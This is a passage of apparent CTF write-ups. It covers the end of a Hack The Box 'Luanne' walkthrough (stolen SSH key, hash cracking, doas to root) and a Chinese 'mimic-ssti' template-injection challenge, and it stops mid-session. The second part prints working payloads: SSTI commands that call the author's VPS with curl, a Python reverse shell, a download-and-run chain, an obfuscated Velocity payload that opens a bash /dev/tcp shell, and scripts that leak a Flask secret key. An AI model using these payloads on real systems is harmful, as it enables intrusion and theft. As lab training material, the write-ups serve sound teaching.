  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   199  100   199    0     0  99500      0 --:--:-- --:--:-- --:--:-- 99500
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3000/">127.0.0.1:3000</a></address>
</body></html>
```

It said Unauthorized Let's try those credentials which we cracked.

``` bash
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   386  100   386    0     0   125k      0 --:--:-- --:--:-- --:--:--  125k
<!doctype html>
<html>
  <head>
    <title>Index</title>
  </head>
  <body>
    <p><h3>Weather Forecast API</h3></p>
    <p><h4>List available cities:</h4></p>
    <a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
    <p><h4>Five day forecast (London)</h4></p>
    <a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
    <hr>
  </body>
</html>
```

After some hit and try i find a way to get id_rsa file.

First Let's check /etc/passwd file which user has in the box.

``` bash
$ cat /etc/passwd
root:*:0:0:Charlie &:/root:/bin/sh
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:The devil himself:/:/sbin/nologin
operator:*:2:5:System &:/usr/guest/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
games:*:7:13:& pseudo-user:/usr/games:/sbin/nologin
postfix:*:12:12:& pseudo-user:/var/spool/postfix:/sbin/nologin
named:*:14:14:& pseudo-user:/var/chroot/named:/sbin/nologin
ntpd:*:15:15:& pseudo-user:/var/chroot/ntpd:/sbin/nologin
sshd:*:16:16:& pseudo-user:/var/chroot/sshd:/sbin/nologin
_pflogd:*:18:18:& pseudo-user:/var/chroot/pflogd:/sbin/nologin
_rwhod:*:19:19:& pseudo-user:/var/rwho:/sbin/nologin
_proxy:*:21:21:Proxy Services:/nonexistent:/sbin/nologin
_timedc:*:22:22:& pseudo-user:/nonexistent:/sbin/nologin
_sdpd:*:23:23:& pseudo-user:/nonexistent:/sbin/nologin
_httpd:*:24:24:& pseudo-user:/var/www:/sbin/nologin
_mdnsd:*:25:25:& pseudo-user:/nonexistent:/sbin/nologin
_tests:*:26:26:& pseudo-user:/nonexistent:/sbin/nologin
_tcpdump:*:27:27:& pseudo-user:/var/chroot/tcpdump:/sbin/nologin
_tss:*:28:28:& pseudo-user:/var/tpm:/sbin/nologin
_rtadvd:*:30:30:& pseudo-user:/var/chroot/rtadvd:/sbin/nologin
_unbound:*:32:32:& pseudo-user:/var/chroot/unbound:/sbin/nologin
_nsd:*:33:33:& pseudo-user:/var/chroot/nsd:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/nonexistent:/sbin/nologin
nobody:*:32767:39:Unprivileged user:/nonexistent:/sbin/nologin
r.michaels:*:1000:100::/home/r.michaels:/bin/ksh
nginx:*:1001:1000:NGINX server user:/var/db/nginx:/sbin/nologin
dbus:*:1002:1001:System message bus:/var/run/dbus:/sbin/nologin
```

try and random guess, There is a user called r.michaels.

Let's grep his id_rsa file.

``` bash
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2610  100  2610    0     0   637k      0 --:--:-- --:--:-- --:--:--  637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Let's ssh inside the box.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# chmod 600 id_rsa 
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# ssh -i id_rsa r.michaels@10.10.10.218
The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$ whoami
r.michaels
luanne$ ls
backups     devel       public_html user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
```

and we got user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb131.jpg)


Now let me explain why ~r.michaels/.ssh/id_rsa is not work.

If we see the r.michaels home directory there is a folder called public_html and inside this there is a id_rsa file

So this folder is shared through web so we can access the public_html folder.

``` bash
luanne$ ls
backups     devel       public_html user.txt
luanne$ cd public_html/                                                                                        
luanne$ ls
id_rsa
```

#### Privilege escalation

I found an interesting file called devel_backup-2020-09-16.tar.gz.enc inside backups on r.michaels directory.

``` bash
luanne$ pwd
/home/r.michaels/backups
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc
```

But it's a .enc file so we can't extract it with tar -xf.

After some google search i found a way to extract the file of .enc.


``` bash
netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
```

``` bash
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>
luanne$ cd /tmp
luanne$ ls
devel_backup-2020-09-16.tar.gz
```

Now it's a .tar.gz file so we can extract it with tar -xf.

``` bash
luanne$ cd /tmp
luanne$ ls
devel_backup-2020-09-16.tar.gz
luanne$ tar -xf devel_backup-2020-09-16.tar.gz
luanne$ ls
devel-2020-09-16                     devel_backup-2020-09-16.tar.gz
luanne$ cd devel-2020-09-16
luanne$ ls
webapi www
luanne$ cd www
luanne$ ls
index.html
luanne$ ls -la
total 32
drwxr-xr-x  2 r.michaels  wheel   96 Sep 16 15:03 .
drwxr-x---  4 r.michaels  wheel   96 Sep 16 15:02 ..
-rw-r--r--  1 r.michaels  wheel   47 Sep 16 18:14 .htpasswd
-rw-r--r--  1 r.michaels  wheel  378 Sep 16 15:03 index.html
luanne$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
```

We got another hash but this is different from previous hash.

``` bash
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
```

Let's try to crack this hash with john.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# john -w=/usr/share/wordlists/rockyou.txt hash1
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (?)
1g 0:00:00:00 DONE (2020-12-04 02:24) 16.66g/s 217600p/s 217600c/s 217600C/s jayar..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

and we got the pass

``` bash
webapi_user:littlebear
```

We got the password littlebear

But the problem is we cant change the user because sudo is not working.

After some google search i found the way to switch the user to root.

 - [doas — execute commands as another user](https://man.openbsd.org/doas.1)

``` bash
luanne$ doas -u root /bin/sh
Password:
sh: Cannot determine current working directory
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
# whoami
root
# pwd
pwd: getcwd() failed: No such file or directory
# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66
```

and we got root.txt, and finished the box.

 - root hash:

``` bash
# cat master.passwd
root:$sha1$23801$4UJhvV0t$hToalyVeYBLnwnyB6uvsIJfPPCC4:0:0::0:0:Charlie &:/root:/bin/sh
toor:*:0:0::0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1::0:0:The devil himself:/:/sbin/nologin
operator:*:2:5::0:0:System &:/usr/guest/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin
games:*:7:13::0:0:& pseudo-user:/usr/games:/sbin/nologin
postfix:*:12:12::0:0:& pseudo-user:/var/spool/postfix:/sbin/nologin
named:*:14:14::0:0:& pseudo-user:/var/chroot/named:/sbin/nologin
ntpd:*:15:15::0:0:& pseudo-user:/var/chroot/ntpd:/sbin/nologin
sshd:*:16:16::0:0:& pseudo-user:/var/chroot/sshd:/sbin/nologin
_pflogd:*:18:18::0:0:& pseudo-user:/var/chroot/pflogd:/sbin/nologin
_rwhod:*:19:19::0:0:& pseudo-user:/var/rwho:/sbin/nologin
_proxy:*:21:21::0:0:Proxy Services:/nonexistent:/sbin/nologin
_timedc:*:22:22::0:0:& pseudo-user:/nonexistent:/sbin/nologin
_sdpd:*:23:23::0:0:& pseudo-user:/nonexistent:/sbin/nologin
_httpd:*:24:24::0:0:& pseudo-user:/var/www:/sbin/nologin
_mdnsd:*:25:25::0:0:& pseudo-user:/nonexistent:/sbin/nologin
_tests:*:26:26::0:0:& pseudo-user:/nonexistent:/sbin/nologin
_tcpdump:*:27:27::0:0:& pseudo-user:/var/chroot/tcpdump:/sbin/nologin
_tss:*:28:28::0:0:& pseudo-user:/var/tpm:/sbin/nologin
_rtadvd:*:30:30::0:0:& pseudo-user:/var/chroot/rtadvd:/sbin/nologin
_unbound:*:32:32::0:0:& pseudo-user:/var/chroot/unbound:/sbin/nologin
_nsd:*:33:33::0:0:& pseudo-user:/var/chroot/nsd:/sbin/nologin
uucp:*:66:1::0:0:UNIX-to-UNIX Copy:/nonexistent:/sbin/nologin
nobody:*:32767:39::0:0:Unprivileged user:/nonexistent:/sbin/nologin
r.michaels:$sha1$24334$unLQu/.W$CtjrV4vz9ansOLIXDJMlzu1gSPC3:1000:100::0:0::/home/r.michaels:/bin/ksh
nginx:*************:1001:1000::0:0:NGINX server user:/var/db/nginx:/sbin/nologin
dbus:*************:1002:1001::0:0:System message bus:/var/run/dbus:/sbin/nologin
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb132.jpg)

#### Summary of knowledge

 - gobuster dir fuzz
 - use lua syntax and gtfobins, mkfifo to get the reverse shell with lua.
 - crack md5crypt-long hash with john
 - use id_rsa file to ssh login
 - use netpgp to extract the file of .enc
 - Privilege escalation via doas execute commands as another user

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end luanne -->

</details>

<a id="case-mimic-ssti"></a>

## 三种模板的一致渲染约束

Latte、Velocity、Jinja2 顺序渲染要求输出匹配，原记录保留各语言黑名单、编码处理与分段触发过程。

<p class="kb-provenance">来源 mimic-ssti · 原记录 2022-01-17 · 25 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-mimic-ssti">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start mimic-ssti -->

#### 介绍

本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssti,借鉴邬江兴院士拟态防御理论设计的mimic-ssti题目，该题目是个考验模板注入的web环境，采用了3种渲染模板，代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈，明确的攻击指令会有明确的反馈结果，但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果，不然在拟态的防御机制中，就会被表决失效。通过这样的设计，让大学生选手了解先进的防御理念，前沿的理论知识和应用场景，以便让更好的防御理念在未来的实战中得到应用。

类似于生物界的拟态防御，在网络空间防御领域中，使用拟态技术可极大的提升黑客攻击的难度。

本题采用了3种模板渲染，渲染的先后顺序分别是php、java、python，如果三者的渲染结果相同就返回内容。（php的模板渲染是latte-2.10.4，java的模板渲染是velocity 1.7，python版本为python3.6.9。）

 - 参考原writeup[【拟态挑战WP】2021年天津市大学生线上初赛mimic-ssti](https://mp.weixin.qq.com/s/9vuuCuuA52XGLg7vIIq-VQ)，原writeup步骤不完整，故重新补充记录



#### Exploitation

mimic指的是“拟态”，ssti指的是“服务端模板注入攻击”。再由题目描述可知，应该是要利用三种编程语言的模板特性进行利用。

接下来我们分别尝试3个语言的SSTI的漏洞利用，当试到PHP的ssti payload时，发现可以直接把数据外带

``` bash
GET /?username={system("curl+http%3a//vpsip%3a2333/")} HTTP/1.1

root@vsdfva:~# nc -lvp 2333
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:26634.
GET / HTTP/1.1
Host: vpsip:2333
User-Agent: curl/7.58.0
Accept: */*
```

所以我们就可以利用PHP模板渲染这里作为突破口，先反弹一个shell，发现根目录下面有三个flag（只有三个flag都获取到，才可以拼接出完整的flag），当然我们现在就只能读取php_flag

首先创建一个python reverse shell脚本文件rev.py,放在自己的vps上

``` bash
python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

然后在vps上开启一个SimpleHTTPServer服务

``` bash
python -m SimpleHTTPServer 81
```

然后执行下面三个请求反弹shell到自己的vps上

``` bash
?username={system('curl -L http://vpsip:81/rev.py -o /tmp/rev.py')}
?username={system('chmod 777 /tmp/rev.py')}
?username={system('/tmp/rev.py')}
```

``` bash
root@vsdfva:~# nc -lvp 2333
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:33464.
bash: cannot set terminal process group (23): Inappropriate ioctl for device
bash: no job control in this shell
php@engine-1:/web/php$ id
id
uid=1000(php) gid=1000(php) groups=1000(php)
php@engine-1:/web/php$ whoami
whoami
php
php@engine-1:/web/php$ cd
cd
php@engine-1:/$ ls
ls
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
python_flag
root
run
sbin
srv
sys
tmp
usr
var
web
php@engine-1:/$ cat php_flag
cat php_flag
flag{bae9466f-
```

成功获取到第一个php flag

剩下的目标就是确定其他两个模板了，先从Java下手，把jar文件下载下来

由于Python的运行目录是没有权限写入的（不能通过复制到静态目录进行下载），所以现在有多个思路，第一个思路是socket代理进去，在php的目录写入一句话木马，蚁剑就可以直接下载了，思路二则是通过curl 命令的文件上传把数据带出来。当然也可以利用php、python和java来进行文件传输。以下采用思路二的方式：

``` bash
import os
os.system("scp /web/java/Hello_web.jar root@vps:PATH")
```

然后通过Java的反汇编工具jd-gui打开即可，发现了黑名单，然后针对黑名单进行绕过

了解更多Java Velocity SSTI，参考下列文章，讲的很详细：

 - [CVE-2019-3396 Confluence Velocity SSTI漏洞浅析](https://xz.aliyun.com/t/8135)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti.jpg)

以下[IP]填入自己VPS的IP以接收shell

``` bash
┌──(root💀kali)-[~]
└─# echo YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx |base64 -d
bash -i >&/dev/tcp/[IP]/2334 0>&1

#set($e="e")
#set($j="jav")
#set($a="a.lang.Ru")
#set($R="ntime")
#set($g="getR")
#set($t="untime")
$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}")
```

上述绕过的payload由以下的原始payload变形而来

``` bash
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
```

然后url encode，再使用%0a添加换行符之后，变为下述的payload，然后放入burp中发包

``` bash
%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}")
```

``` bash
GET /?username=%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}") HTTP/1.1
```

然后vps接收到一个java权限的shell

``` bash
root@vsdfva:~# nc -lvp 2335
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2335
Ncat: Listening on 0.0.0.0:2335
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:5189.
bash: cannot set terminal process group (20): Inappropriate ioctl for device
bash: no job control in this shell
java@engine-1:/web/java$ id
id
uid=1001(java) gid=1001(java) groups=1001(java)
java@engine-1:/web/java$ whoami
whoami
java
java@engine-1:/web/java$ cd
cd
java@engine-1:/$ ls  
ls
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
python_flag
root
run
sbin
srv
sys
tmp
usr
var
web
java@engine-1:/$ cat java_flag
cat java_flag
-286016a38d37}
```

并获取到java flag

然后读取app.py，可以发现SECRET_KEY是随机的（所以需要想办法得到它），而且过滤了数字和字符串拼接，不能拼接字符串，那就只有得到完整的字符串才能ssti，所以可以利用伪造session来进行构造任意字符串。

``` bash
php@engine-1:/web/python$ cat app.py
cat app.py
from flask import Flask, render_template, request, render_template_string
import requests
import uuid

app = Flask(__name__)
SECRET_KEY = str(uuid.uuid4())[:12]
numbers_str = [str(x) for x in range(10)]
black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for',
              'get_flashed_messages', 'range', 'dict', 'joiner']
black_list += numbers_str

app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))


def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False


@app.route('/')
def index():
    name = request.args.get("username")
    if name is not None:
        text1 = requests.get("http://127.0.0.1:7410/", params={"username": name}).text
        text2 = requests.get("http://127.0.0.1:8080/", params={"username": name}).text
        if waf(name):
            return render_template('404.html'), 404
        render_str = render_template_string(name)
        if text1 == render_str and text2 == render_str:
            return render_str
        else:
            return render_template('404.html'), 404
        render_str = render_template_string(name)
        return render_str
    return render_template('index.html')


@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404


if __name__ == '__main__':
    app.run("0.0.0.0", 8888)
```

数字可以通过config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)和config.JSON_SORT_KEYS进行加减运算得到数字，因为python里面True-False这种得到的结果是1

``` bash
┌──(root💀kali)-[~]
└─# python3                       
Python 3.9.9 (main, Dec 16 2021, 23:13:29) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> True - False
1
>>> 14 - True
13
```

现在第一步就是通过类似“测信道”攻击的方式，读取flask的key，从而伪造session，所以我们可以通过伪造php和java的服务端来一个个字符的比较得到最终的key

 - leak.php

``` bash
<?php
//leak.php
if(!is_file("tmp_code")){
   file_put_contents("tmp_code","-");
}
$code="-0123456789abcdef";
if(strpos($_GET["username"],'code') !== false){
   file_put_contents("code",$_GET["username"][0],FILE_APPEND);
   file_put_contents("tmp_code","-");
}else{
   $tmp_code = file_get_contents("tmp_code");
   echo $tmp_code;
   file_put_contents("tmp_code",$code[(strpos($code,$tmp_code)+1)%17]);
}
?>
```

 - leak.py

``` bash
import requests
#leak.py
url="http://127.0.0.1:8888/"
code="-0123456789abcdef"
f=""
for x in range(12):
   cut = (11-x)*'-config.JSON_SORT_KEYS'
   leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)"+cut+"]}}"
   for y in code:
       text=requests.get(url,params={"username":leak_temp}).text
       #print(text)
       if ">404<" in text:
           pass
       else:
           requests.get(url,params={"username":y+"code"})
           f+=y
           print(f)
           break
```

首先kill原来的进程

``` bash
php@engine-1:/$ ps -ef
ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 06:10 pts/0    00:00:00 /bin/bash /start.sh
root        14     1  0 06:10 pts/0    00:00:00 /bin/bash /start.sh
root        15     1  0 06:10 pts/0    00:00:00 /bin/bash /start.sh
root        16     1  0 06:10 pts/0    00:00:00 su - java -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
root        17     1  0 06:10 pts/0    00:00:00 tail -f /dev/null
root        18    15  0 06:10 pts/0    00:00:00 su - python -c python3 /web/python/app.py
root        19    14  0 06:10 pts/0    00:00:00 su - php -c cd /web/php/ && php -S 0.0.0.0:7410
java        20    16  0 06:10 ?        00:00:00 -su -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
python      21    18  0 06:10 ?        00:00:00 -su -c python3 /web/python/app.py
php         22    19  0 06:10 ?        00:00:00 -su -c cd /web/php/ && php -S 0.0.0.0:7410
python      29    21  0 06:10 ?        00:00:00 python3 /web/python/app.py
java        30    20  0 06:10 ?        00:00:09 /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
php         31    22  0 06:10 ?        00:00:00 php -S 0.0.0.0:7410
java       109    30  0 06:11 ?        00:00:00 bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjEzOS4yMzYvMjMzNSAwPiYx}|{base64,-d}|{bash,-i}
java       112   109  0 06:11 ?        00:00:00 bash -i
java       115   112  0 06:11 ?        00:00:00 /bin/bash -i
php        184    31  0 06:15 ?        00:00:00 sh -c /tmp/rev.py
php        185   184  0 06:15 ?        00:00:00 /bin/sh /tmp/rev.py
php        186   185  0 06:15 ?        00:00:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
php        187   186  0 06:15 ?        00:00:00 /bin/bash -i
php        199   187  0 06:25 ?        00:00:00 ps -ef
php@engine-1:/$ kill 31
kill 31
```

然后再退出php的shell，不然后面7410端口监听不上，再kill掉8080端口的2个/web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar服务

然后把php文件写入到tmp下面，然后运行7410和8080的php的web服务

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti1.jpg)

``` bash
java@engine-1:/tmp$ mkdir leakp
mkdir leakp
java@engine-1:/tmp$ cd leakp
cd leakp
java@engine-1:/tmp/leakp$ echo PD9waHAKLy9sZWFrLnBocAppZighaXNfZmlsZSgidG1wX2NvZGUiKSl7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsIi0iKTsKfQokY29kZT0iLTAxMjM0NTY3ODlhYmNkZWYiOwppZihzdHJwb3MoJF9HRVRbInVzZXJuYW1lIl0sJ2NvZGUnKSAhPT0gZmFsc2UpewogICBmaWxlX3B1dF9jb250ZW50cygiY29kZSIsJF9HRVRbInVzZXJuYW1lIl1bMF0sRklMRV9BUFBFTkQpOwogICBmaWxlX3B1dF9jb250ZW50cygidG1wX2NvZGUiLCItIik7Cn1lbHNlewogICAkdG1wX2NvZGUgPSBmaWxlX2dldF9jb250ZW50cygidG1wX2NvZGUiKTsKICAgZWNobyAkdG1wX2NvZGU7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsJGNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJTE3XSk7Cn0KPz4=|base64 -d > index.php
TE3XSk7Cn0KPz4=|base64 -d > index.phpNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJT
java@engine-1:/tmp/leakp$ mkdir leak
mkdir leak
java@engine-1:/tmp/leakp$ cp index.php leak/
cp index.php leak/
java@engine-1:/tmp/leakp$ php -S 0.0.0.0:7410 &
php -S 0.0.0.0:7410 &
[1] 161
